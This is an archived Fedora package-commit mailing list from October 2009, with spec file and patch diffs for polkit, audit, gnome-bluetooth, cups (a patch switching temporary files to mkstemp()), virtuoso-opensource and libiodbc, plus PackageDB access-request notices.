+++ polkit.spec	20 Oct 2009 13:38:26 -0000	1.14
@@ -1,7 +1,7 @@
 Summary: PolicyKit Authorization Framework
 Name: polkit
 Version: 0.95
-Release: 0.git20090913.2%{?dist}
+Release: 0.git20090913.3%{?dist}
 License: LGPLv2+
 URL: http://www.freedesktop.org/wiki/Software/PolicyKit
 Source0: http://hal.freedesktop.org/releases/%{name}-%{version}.git20090913.tar.gz
@@ -22,6 +22,8 @@ Obsoletes: PolicyKit <= 0.10
 Provides: PolicyKit = 0.11
 
 Patch0: 0001-Fix-process-start-time-when-using-polkit_unix_proces.patch
+# https://bugs.freedesktop.org/show_bug.cgi?id=24640
+Patch1: typo.patch
 
 %description
 PolicyKit is a toolkit for defining and handling authorizations.
@@ -66,6 +68,7 @@ Roles and default policy for desktop usa
 %prep
 %setup -q
 %patch0 -p1
+%patch1 -p1 -b .typo
 
 %build
 %configure --enable-gtk-doc --disable-static --libexecdir=%{_libexecdir}/polkit-1 --enable-introspection --enable-examples
@@ -188,6 +191,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/gtk-doc/html/*
 
 %changelog
+* Tue Oct 20 2009 Matthias Clasen <mclasen at redhat.com> - 0.95-0.git20090913.3
+- Fix a typo in pklocalauthority(8)
+
 * Mon Sep 14 2009 David Zeuthen <davidz at redhat.com> - 0.95-0.git20090913.2
 - Refine how Obsolete: is used and also add Provides: (thanks Jesse
   Keating and nim-nim)



From sgrubb at fedoraproject.org  Tue Oct 20 13:39:21 2009
From: sgrubb at fedoraproject.org (Steve Grubb)
Date: Tue, 20 Oct 2009 13:39:21 +0000 (UTC)
Subject: rpms/audit/F-12 audit.spec,1.222,1.223 sources,1.131,1.132
Message-ID: <20091020133921.E534811C0081@cvs1.fedora.phx.redhat.com>

Author: sgrubb

Update of /cvs/pkgs/rpms/audit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9583

Modified Files:
	audit.spec sources 
Log Message:
* Sat Oct 17 2009 Steve Grubb <sgrubb at redhat.com> 2.0.3-1
- New upstream release



Index: audit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audit/F-12/audit.spec,v
retrieving revision 1.222
retrieving revision 1.223
diff -u -p -r1.222 -r1.223
--- audit.spec	16 Oct 2009 17:20:28 -0000	1.222
+++ audit.spec	20 Oct 2009 13:39:21 -0000	1.223
@@ -2,7 +2,7 @@
 
 Summary: User space tools for 2.6 kernel auditing
 Name: audit
-Version: 2.0.2
+Version: 2.0.3
 Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Daemons
@@ -219,6 +219,9 @@ fi
 %attr(644,root,root) %{_mandir}/man8/audisp-remote.8.gz
 
 %changelog
+* Sat Oct 17 2009 Steve Grubb <sgrubb at redhat.com> 2.0.3-1
+- New upstream release
+
 * Fri Oct 16 2009 Steve Grubb <sgrubb at redhat.com> 2.0.2-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/audit/F-12/sources,v
retrieving revision 1.131
retrieving revision 1.132
diff -u -p -r1.131 -r1.132
--- sources	16 Oct 2009 17:04:23 -0000	1.131
+++ sources	20 Oct 2009 13:39:21 -0000	1.132
@@ -1 +1 @@
-e4b930141ec6cc267f0911b3c82ea987  audit-2.0.2.tar.gz
+35fb55c5a299acfc3e2ab84d5a31ea5c  audit-2.0.3.tar.gz



From hadess at fedoraproject.org  Tue Oct 20 13:42:16 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 20 Oct 2009 13:42:16 +0000 (UTC)
Subject: rpms/gnome-bluetooth/devel .cvsignore, 1.23,
	1.24 gnome-bluetooth.spec, 1.95, 1.96 sources, 1.24, 1.25
Message-ID: <20091020134216.6F9B211C02A0@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-bluetooth/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10077

Modified Files:
	.cvsignore gnome-bluetooth.spec sources 
Log Message:
* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.3-1
- Update to 2.28.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-bluetooth/devel/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	20 Oct 2009 12:24:24 -0000	1.23
+++ .cvsignore	20 Oct 2009 13:42:16 -0000	1.24
@@ -1 +1 @@
-gnome-bluetooth-2.28.2.tar.bz2
+gnome-bluetooth-2.28.3.tar.bz2


Index: gnome-bluetooth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-bluetooth/devel/gnome-bluetooth.spec,v
retrieving revision 1.95
retrieving revision 1.96
diff -u -p -r1.95 -r1.96
--- gnome-bluetooth.spec	20 Oct 2009 12:24:24 -0000	1.95
+++ gnome-bluetooth.spec	20 Oct 2009 13:42:16 -0000	1.96
@@ -1,5 +1,5 @@
 Name:		gnome-bluetooth
-Version:	2.28.2
+Version:	2.28.3
 Release:	1%{?dist}
 Summary:	Bluetooth graphical utilities
 
@@ -196,6 +196,9 @@ fi
 %{_datadir}/gtk-doc/html/gnome-bluetooth/
 
 %changelog
+* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.3-1
+- Update to 2.28.3
+
 * Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.2-1
 - Update to 2.28.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-bluetooth/devel/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	20 Oct 2009 12:24:24 -0000	1.24
+++ sources	20 Oct 2009 13:42:16 -0000	1.25
@@ -1 +1 @@
-64b55a4659ef29717ebd60b33cae480a  gnome-bluetooth-2.28.2.tar.bz2
+1cadae3e520adb620df35c9cec2813d1  gnome-bluetooth-2.28.3.tar.bz2



From jpopelka at fedoraproject.org  Tue Oct 20 13:42:59 2009
From: jpopelka at fedoraproject.org (=?utf-8?b?SmnFmcOtIFBvcGVsa2E=?=)
Date: Tue, 20 Oct 2009 13:42:59 +0000 (UTC)
Subject: rpms/cups/devel cups-str3382.patch,NONE,1.1 cups.spec,1.528,1.529
Message-ID: <20091020134259.A942511C0081@cvs1.fedora.phx.redhat.com>

Author: jpopelka

Update of /cvs/pkgs/rpms/cups/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10234

Modified Files:
	cups.spec 
Added Files:
	cups-str3382.patch 
Log Message:
* Tue Oct 20 2009 Jiri Popelka <jpopelka at redhat.com> 1:1.4.1-12
- Fix cups-lpd to create unique temporary data files (bug #529838).


cups-str3382.patch:
 tempfile.c |   31 ++++++++++++-------------------
 1 file changed, 12 insertions(+), 19 deletions(-)

--- NEW FILE cups-str3382.patch ---
diff -up cups-1.4.1/cups/tempfile.c.str3382 cups-1.4.1/cups/tempfile.c
--- cups-1.4.1/cups/tempfile.c.str3382	2008-12-10 06:03:11.000000000 +0100
+++ cups-1.4.1/cups/tempfile.c	2009-10-20 15:08:39.000000000 +0200
@@ -35,6 +35,7 @@
 #  include <io.h>
 #else
 #  include <unistd.h>
+#  include <sys/types.h>
 #endif /* WIN32 || __EMX__ */
 
 
@@ -56,7 +57,7 @@ cupsTempFd(char *filename,		/* I - Point
   char		tmppath[1024];		/* Windows temporary directory */
   DWORD		curtime;		/* Current time */
 #else
-  struct timeval curtime;		/* Current time */
+  mode_t	old_umask;		/* Old umask before using mkstemp() */
 #endif /* WIN32 */
 
 
@@ -107,33 +108,25 @@ cupsTempFd(char *filename,		/* I - Point
 
     snprintf(filename, len - 1, "%s/%05lx%08lx", tmpdir,
              GetCurrentProcessId(), curtime);
-#else
-   /*
-    * Get the current time of day...
-    */
-
-    gettimeofday(&curtime, NULL);
-
-   /*
-    * Format a string using the hex time values...
-    */
-
-    snprintf(filename, len - 1, "%s/%08lx%05lx", tmpdir,
-             (unsigned long)curtime.tv_sec, (unsigned long)curtime.tv_usec);
-#endif /* WIN32 */
 
    /*
     * Open the file in "exclusive" mode, making sure that we don't
     * stomp on an existing file or someone's symlink crack...
     */
 
-#ifdef WIN32
     fd = open(filename, _O_CREAT | _O_RDWR | _O_TRUNC | _O_BINARY,
               _S_IREAD | _S_IWRITE);
-#elif defined(O_NOFOLLOW)
-    fd = open(filename, O_RDWR | O_CREAT | O_EXCL | O_NOFOLLOW, 0600);
 #else
-    fd = open(filename, O_RDWR | O_CREAT | O_EXCL, 0600);
+
+   /*
+    * Use the standard mkstemp() call to make a temporary filename
+    * securely.  -- andrew.wood at jdplc.com
+    */
+    snprintf(filename, len - 1, "%s/cupsXXXXXX", tmpdir);
+
+    old_umask = umask(0077);
+    fd = mkstemp(filename);
+    umask(old_umask);
 #endif /* WIN32 */
 
     if (fd < 0 && errno != EEXIST)


Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/devel/cups.spec,v
retrieving revision 1.528
retrieving revision 1.529
diff -u -p -r1.528 -r1.529
--- cups.spec	19 Oct 2009 11:06:26 -0000	1.528
+++ cups.spec	20 Oct 2009 13:42:59 -0000	1.529
@@ -9,7 +9,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.4.1
-Release: 11%{?dist}
+Release: 12%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: http://ftp.easysw.com/pub/cups/1.4.0/cups-%{version}-source.tar.bz2
@@ -54,6 +54,7 @@ Patch35: cups-cups-get-classes.patch
 Patch37: cups-avahi.patch
 Patch38: cups-str3332.patch
 Patch39: cups-str3356.patch
+Patch40: cups-str3382.patch
 Patch100: cups-lspp.patch
 Epoch: 1
 Url: http://www.cups.org/
@@ -214,6 +215,7 @@ gzip -n postscript.ppd
 %patch37 -p1 -b .avahi
 %patch38 -p1 -b .str3332
 %patch39 -p1 -b .str3356
+%patch40 -p1 -b .str3382
 
 %if %lspp
 %patch100 -p1 -b .lspp
@@ -509,6 +511,9 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/phpcups.so
 
 %changelog
+* Tue Oct 20 2009 Jiri Popelka <jpopelka at redhat.com> 1:1.4.1-12
+- Fix cups-lpd to create unique temporary data files (bug #529838).
+
 * Mon Oct 19 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-11
 - Fixed German translation (bug #529575, STR #3380).
 



From hadess at fedoraproject.org  Tue Oct 20 13:43:46 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 20 Oct 2009 13:43:46 +0000 (UTC)
Subject: rpms/gnome-bluetooth/F-12 .cvsignore, 1.23,
	1.24 gnome-bluetooth.spec, 1.95, 1.96 sources, 1.24, 1.25
Message-ID: <20091020134346.5F39711C0081@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-bluetooth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10373

Modified Files:
	.cvsignore gnome-bluetooth.spec sources 
Log Message:
* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.3-1
- Update to 2.28.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-bluetooth/F-12/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	20 Oct 2009 12:10:17 -0000	1.23
+++ .cvsignore	20 Oct 2009 13:43:46 -0000	1.24
@@ -1 +1 @@
-gnome-bluetooth-2.28.2.tar.bz2
+gnome-bluetooth-2.28.3.tar.bz2


Index: gnome-bluetooth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-bluetooth/F-12/gnome-bluetooth.spec,v
retrieving revision 1.95
retrieving revision 1.96
diff -u -p -r1.95 -r1.96
--- gnome-bluetooth.spec	20 Oct 2009 12:10:18 -0000	1.95
+++ gnome-bluetooth.spec	20 Oct 2009 13:43:46 -0000	1.96
@@ -1,5 +1,5 @@
 Name:		gnome-bluetooth
-Version:	2.28.2
+Version:	2.28.3
 Release:	1%{?dist}
 Summary:	Bluetooth graphical utilities
 
@@ -196,6 +196,9 @@ fi
 %{_datadir}/gtk-doc/html/gnome-bluetooth/
 
 %changelog
+* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.3-1
+- Update to 2.28.3
+
 * Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.2-1
 - Update to 2.28.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-bluetooth/F-12/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	20 Oct 2009 12:10:18 -0000	1.24
+++ sources	20 Oct 2009 13:43:46 -0000	1.25
@@ -1 +1 @@
-64b55a4659ef29717ebd60b33cae480a  gnome-bluetooth-2.28.2.tar.bz2
+1cadae3e520adb620df35c9cec2813d1  gnome-bluetooth-2.28.3.tar.bz2



From jpopelka at fedoraproject.org  Tue Oct 20 13:43:45 2009
From: jpopelka at fedoraproject.org (=?utf-8?b?SmnFmcOtIFBvcGVsa2E=?=)
Date: Tue, 20 Oct 2009 13:43:45 +0000 (UTC)
Subject: rpms/cups/F-12 cups-str3382.patch,NONE,1.1 cups.spec,1.527,1.528
Message-ID: <20091020134345.68C3F11C0081@cvs1.fedora.phx.redhat.com>

Author: jpopelka

Update of /cvs/pkgs/rpms/cups/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10351

Modified Files:
	cups.spec 
Added Files:
	cups-str3382.patch 
Log Message:
* Tue Oct 20 2009 Jiri Popelka <jpopelka at redhat.com> 1:1.4.1-11
- Fix cups-lpd to create unique temporary data files (bug #529838).


cups-str3382.patch:
 tempfile.c |   31 ++++++++++++-------------------
 1 file changed, 12 insertions(+), 19 deletions(-)

--- NEW FILE cups-str3382.patch ---
diff -up cups-1.4.1/cups/tempfile.c.str3382 cups-1.4.1/cups/tempfile.c
--- cups-1.4.1/cups/tempfile.c.str3382	2008-12-10 06:03:11.000000000 +0100
+++ cups-1.4.1/cups/tempfile.c	2009-10-20 15:08:39.000000000 +0200
@@ -35,6 +35,7 @@
 #  include <io.h>
 #else
 #  include <unistd.h>
+#  include <sys/types.h>
 #endif /* WIN32 || __EMX__ */
 
 
@@ -56,7 +57,7 @@ cupsTempFd(char *filename,		/* I - Point
   char		tmppath[1024];		/* Windows temporary directory */
   DWORD		curtime;		/* Current time */
 #else
-  struct timeval curtime;		/* Current time */
+  mode_t	old_umask;		/* Old umask before using mkstemp() */
 #endif /* WIN32 */
 
 
@@ -107,33 +108,25 @@ cupsTempFd(char *filename,		/* I - Point
 
     snprintf(filename, len - 1, "%s/%05lx%08lx", tmpdir,
              GetCurrentProcessId(), curtime);
-#else
-   /*
-    * Get the current time of day...
-    */
-
-    gettimeofday(&curtime, NULL);
-
-   /*
-    * Format a string using the hex time values...
-    */
-
-    snprintf(filename, len - 1, "%s/%08lx%05lx", tmpdir,
-             (unsigned long)curtime.tv_sec, (unsigned long)curtime.tv_usec);
-#endif /* WIN32 */
 
    /*
     * Open the file in "exclusive" mode, making sure that we don't
     * stomp on an existing file or someone's symlink crack...
     */
 
-#ifdef WIN32
     fd = open(filename, _O_CREAT | _O_RDWR | _O_TRUNC | _O_BINARY,
               _S_IREAD | _S_IWRITE);
-#elif defined(O_NOFOLLOW)
-    fd = open(filename, O_RDWR | O_CREAT | O_EXCL | O_NOFOLLOW, 0600);
 #else
-    fd = open(filename, O_RDWR | O_CREAT | O_EXCL, 0600);
+
+   /*
+    * Use the standard mkstemp() call to make a temporary filename
+    * securely.  -- andrew.wood at jdplc.com
+    */
+    snprintf(filename, len - 1, "%s/cupsXXXXXX", tmpdir);
+
+    old_umask = umask(0077);
+    fd = mkstemp(filename);
+    umask(old_umask);
 #endif /* WIN32 */
 
     if (fd < 0 && errno != EEXIST)


Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/F-12/cups.spec,v
retrieving revision 1.527
retrieving revision 1.528
diff -u -p -r1.527 -r1.528
--- cups.spec	19 Oct 2009 11:32:51 -0000	1.527
+++ cups.spec	20 Oct 2009 13:43:45 -0000	1.528
@@ -9,7 +9,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.4.1
-Release: 10%{?dist}
+Release: 11%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: http://ftp.easysw.com/pub/cups/1.4.0/cups-%{version}-source.tar.bz2
@@ -56,6 +56,7 @@ Patch35: cups-cups-get-classes.patch
 Patch37: cups-avahi.patch
 Patch38: cups-str3332.patch
 Patch39: cups-str3356.patch
+Patch40: cups-str3382.patch
 Patch100: cups-lspp.patch
 Epoch: 1
 Url: http://www.cups.org/
@@ -216,6 +217,7 @@ gzip -n postscript.ppd
 %patch37 -p1 -b .avahi
 %patch38 -p1 -b .str3332
 %patch39 -p1 -b .str3356
+%patch40 -p1 -b .str3382
 
 %if %lspp
 %patch100 -p1 -b .lspp
@@ -516,6 +518,9 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/phpcups.so
 
 %changelog
+* Tue Oct 20 2009 Jiri Popelka <jpopelka at redhat.com> 1:1.4.1-11
+- Fix cups-lpd to create unique temporary data files (bug #529838).
+
 * Mon Oct 19 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-10
 - Fixed German translation (bug #529575, STR #3380).
 



From jpopelka at fedoraproject.org  Tue Oct 20 13:44:07 2009
From: jpopelka at fedoraproject.org (=?utf-8?b?SmnFmcOtIFBvcGVsa2E=?=)
Date: Tue, 20 Oct 2009 13:44:07 +0000 (UTC)
Subject: rpms/cups/F-11 cups-str3382.patch,NONE,1.1 cups.spec,1.523,1.524
Message-ID: <20091020134407.56F1911C0081@cvs1.fedora.phx.redhat.com>

Author: jpopelka

Update of /cvs/pkgs/rpms/cups/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10495

Modified Files:
	cups.spec 
Added Files:
	cups-str3382.patch 
Log Message:
* Tue Oct 20 2009 Jiri Popelka <jpopelka at redhat.com> 1:1.4.1-6
- Fix cups-lpd to create unique temporary data files (bug #529838).


cups-str3382.patch:
 tempfile.c |   31 ++++++++++++-------------------
 1 file changed, 12 insertions(+), 19 deletions(-)

--- NEW FILE cups-str3382.patch ---
diff -up cups-1.4.1/cups/tempfile.c.str3382 cups-1.4.1/cups/tempfile.c
--- cups-1.4.1/cups/tempfile.c.str3382	2008-12-10 06:03:11.000000000 +0100
+++ cups-1.4.1/cups/tempfile.c	2009-10-20 15:08:39.000000000 +0200
@@ -35,6 +35,7 @@
 #  include <io.h>
 #else
 #  include <unistd.h>
+#  include <sys/types.h>
 #endif /* WIN32 || __EMX__ */
 
 
@@ -56,7 +57,7 @@ cupsTempFd(char *filename,		/* I - Point
   char		tmppath[1024];		/* Windows temporary directory */
   DWORD		curtime;		/* Current time */
 #else
-  struct timeval curtime;		/* Current time */
+  mode_t	old_umask;		/* Old umask before using mkstemp() */
 #endif /* WIN32 */
 
 
@@ -107,33 +108,25 @@ cupsTempFd(char *filename,		/* I - Point
 
     snprintf(filename, len - 1, "%s/%05lx%08lx", tmpdir,
              GetCurrentProcessId(), curtime);
-#else
-   /*
-    * Get the current time of day...
-    */
-
-    gettimeofday(&curtime, NULL);
-
-   /*
-    * Format a string using the hex time values...
-    */
-
-    snprintf(filename, len - 1, "%s/%08lx%05lx", tmpdir,
-             (unsigned long)curtime.tv_sec, (unsigned long)curtime.tv_usec);
-#endif /* WIN32 */
 
    /*
     * Open the file in "exclusive" mode, making sure that we don't
     * stomp on an existing file or someone's symlink crack...
     */
 
-#ifdef WIN32
     fd = open(filename, _O_CREAT | _O_RDWR | _O_TRUNC | _O_BINARY,
               _S_IREAD | _S_IWRITE);
-#elif defined(O_NOFOLLOW)
-    fd = open(filename, O_RDWR | O_CREAT | O_EXCL | O_NOFOLLOW, 0600);
 #else
-    fd = open(filename, O_RDWR | O_CREAT | O_EXCL, 0600);
+
+   /*
+    * Use the standard mkstemp() call to make a temporary filename
+    * securely.  -- andrew.wood at jdplc.com
+    */
+    snprintf(filename, len - 1, "%s/cupsXXXXXX", tmpdir);
+
+    old_umask = umask(0077);
+    fd = mkstemp(filename);
+    umask(old_umask);
 #endif /* WIN32 */
 
     if (fd < 0 && errno != EEXIST)


Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/F-11/cups.spec,v
retrieving revision 1.523
retrieving revision 1.524
diff -u -p -r1.523 -r1.524
--- cups.spec	19 Oct 2009 11:32:56 -0000	1.523
+++ cups.spec	20 Oct 2009 13:44:07 -0000	1.524
@@ -9,7 +9,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.4.1
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: http://ftp.easysw.com/pub/cups/1.4.0/cups-%{version}-source.tar.bz2
@@ -56,6 +56,7 @@ Patch35: cups-cups-get-classes.patch
 Patch37: cups-avahi.patch
 Patch38: cups-str3332.patch
 Patch39: cups-str3356.patch
+Patch40: cups-str3382.patch
 Patch100: cups-lspp.patch
 Epoch: 1
 Url: http://www.cups.org/
@@ -216,6 +217,7 @@ gzip -n postscript.ppd
 %patch37 -p1 -b .avahi
 %patch38 -p1 -b .str3332
 %patch39 -p1 -b .str3356
+%patch40 -p1 -b .str3382
 
 %if %lspp
 %patch100 -p1 -b .lspp
@@ -512,6 +514,9 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/phpcups.so
 
 %changelog
+* Tue Oct 20 2009 Jiri Popelka <jpopelka at redhat.com> 1:1.4.1-6
+- Fix cups-lpd to create unique temporary data files (bug #529838).
+
 * Mon Oct 19 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-5
 - Fixed German translation (bug #529575, STR #3380).
 



From pkgdb at fedoraproject.org  Tue Oct 20 13:46:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 13:46:07 +0000
Subject: [pkgdb] evince: mkasik has requested watchcommits
Message-ID: <20091020134607.61E1D10F85F@bastion2.fedora.phx.redhat.com>

mkasik has requested the watchcommits acl on evince (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/evince



From pkgdb at fedoraproject.org  Tue Oct 20 13:46:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 13:46:09 +0000
Subject: [pkgdb] evince: mkasik has requested commit
Message-ID: <20091020134609.7505E10F892@bastion2.fedora.phx.redhat.com>

mkasik has requested the commit acl on evince (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/evince



From pkgdb at fedoraproject.org  Tue Oct 20 13:46:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 13:46:17 +0000
Subject: [pkgdb] evince: mkasik has requested watchcommits
Message-ID: <20091020134617.AA31D10F8AB@bastion2.fedora.phx.redhat.com>

mkasik has requested the watchcommits acl on evince (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/evince



From pkgdb at fedoraproject.org  Tue Oct 20 13:46:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 13:46:26 +0000
Subject: [pkgdb] evince: mkasik has requested watchcommits
Message-ID: <20091020134626.67E1F10F8B1@bastion2.fedora.phx.redhat.com>

mkasik has requested the watchcommits acl on evince (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/evince



From pkgdb at fedoraproject.org  Tue Oct 20 13:46:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 13:46:19 +0000
Subject: [pkgdb] evince: mkasik has requested commit
Message-ID: <20091020134619.ED33C10F8AD@bastion2.fedora.phx.redhat.com>

mkasik has requested the commit acl on evince (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/evince



From pkgdb at fedoraproject.org  Tue Oct 20 13:46:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 13:46:28 +0000
Subject: [pkgdb] evince: mkasik has requested commit
Message-ID: <20091020134628.6A05010F8AF@bastion2.fedora.phx.redhat.com>

mkasik has requested the commit acl on evince (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/evince



From rdieter at fedoraproject.org  Tue Oct 20 13:49:49 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue, 20 Oct 2009 13:49:49 +0000 (UTC)
Subject: rpms/virtuoso-opensource/devel
	virtuoso-opensource-5.0.12-zlib.patch, 
	NONE, 1.1 virtuoso-opensource.spec, 1.5, 1.6
Message-ID: <20091020134949.52EF511C0081@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/virtuoso-opensource/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11879

Modified Files:
	virtuoso-opensource.spec 
Added Files:
	virtuoso-opensource-5.0.12-zlib.patch 
Log Message:
fix build using --with-external-zlib


virtuoso-opensource-5.0.12-zlib.patch:
 bif_file.c |    8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

--- NEW FILE virtuoso-opensource-5.0.12-zlib.patch ---
diff -up virtuoso-opensource-5.0.12/libsrc/Wi/bif_file.c.zlib virtuoso-opensource-5.0.12/libsrc/Wi/bif_file.c
--- virtuoso-opensource-5.0.12/libsrc/Wi/bif_file.c.zlib	2009-10-16 05:27:36.000000000 -0500
+++ virtuoso-opensource-5.0.12/libsrc/Wi/bif_file.c	2009-10-20 08:42:56.060132625 -0500
@@ -57,7 +57,13 @@
 #endif
 
 #include "zlib.h"
-#include "zutil.h"
+/* #include "zutil.h" */
+#if MAX_MEM_LEVEL >= 8
+#  define DEF_MEM_LEVEL 8
+#else
+#  define DEF_MEM_LEVEL  MAX_MEM_LEVEL
+#endif
+
 #include "srvmultibyte.h"
 
 #define FS_MAX_STRING	(10L * 1024L * 1024L)	/* allow files up to 10 MB */


Index: virtuoso-opensource.spec
===================================================================
RCS file: /cvs/pkgs/rpms/virtuoso-opensource/devel/virtuoso-opensource.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- virtuoso-opensource.spec	20 Oct 2009 12:57:05 -0000	1.5
+++ virtuoso-opensource.spec	20 Oct 2009 13:49:49 -0000	1.6
@@ -13,6 +13,12 @@ Source0: http://downloads.sourceforge.ne
 Patch1:  virtuoso-opensource-5.0.11-openssl.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
+## Upstreamable patches
+# fix build with ossl-1.0
+Patch50: virtuoso-opensource-5.0.11-openssl.patch
+# fix build --with-external-zlib
+Patch51: virtuoso-opensource-5.0.12-zlib.patch
+
 BuildRequires: automake libtool
 BuildRequires: bison
 BuildRequires: flex
@@ -22,6 +28,7 @@ BuildRequires: htmldoc
 #BuildRequires: java-devel
 BuildRequires: openldap-devel
 BuildRequires: openssl-devel
+BuildRequires: libiodbc-devel
 BuildRequires: libxml2-devel
 BuildRequires: zlib-devel
 
@@ -70,7 +77,9 @@ Requires: %{name} = %{version}-%{release
 
 %prep
 %setup -q -n virtuoso-opensource%{!?snap:-%{version}}%{?snap:-%{snap}}
-%patch1 -p1 -b .openssl
+
+%patch50 -p1 -b .openssl
+%patch51 -p1 -b .zlib
 
 
 %build
@@ -79,7 +88,10 @@ Requires: %{name} = %{version}-%{release
   --with-layout=redhat \
   --enable-shared --disable-static \
   --without-internal-zlib \
-  --with-debug
+  --with-debug \
+  --enable-iodbc \
+  --enable-openssl \
+  --enable-xml
 
 # smp busted
 make 



From pkgdb at fedoraproject.org  Tue Oct 20 13:49:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 13:49:54 +0000
Subject: [pkgdb] unison: arbiter has requested watchbugzilla
Message-ID: <20091020134954.2B98F10F850@bastion2.fedora.phx.redhat.com>

arbiter has requested the watchbugzilla acl on unison (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/unison



From pkgdb at fedoraproject.org  Tue Oct 20 13:49:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 13:49:57 +0000
Subject: [pkgdb] unison: arbiter has requested watchcommits
Message-ID: <20091020134958.08D1310F80D@bastion2.fedora.phx.redhat.com>

arbiter has requested the watchcommits acl on unison (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/unison



From pkgdb at fedoraproject.org  Tue Oct 20 13:49:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 13:49:58 +0000
Subject: [pkgdb] unison: arbiter has requested commit
Message-ID: <20091020134958.97E2710F87F@bastion2.fedora.phx.redhat.com>

arbiter has requested the commit acl on unison (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/unison



From rdieter at fedoraproject.org  Tue Oct 20 13:51:22 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue, 20 Oct 2009 13:51:22 +0000 (UTC)
Subject: rpms/libiodbc/devel .cvsignore, 1.2, 1.3 libiodbc.spec, 1.3,
	1.4 sources, 1.2, 1.3
Message-ID: <20091020135122.846AA11C0081@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/libiodbc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12254

Modified Files:
	.cvsignore libiodbc.spec sources 
Log Message:
* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 3.52.7-1
- libiodbc-3.52.7



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libiodbc/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
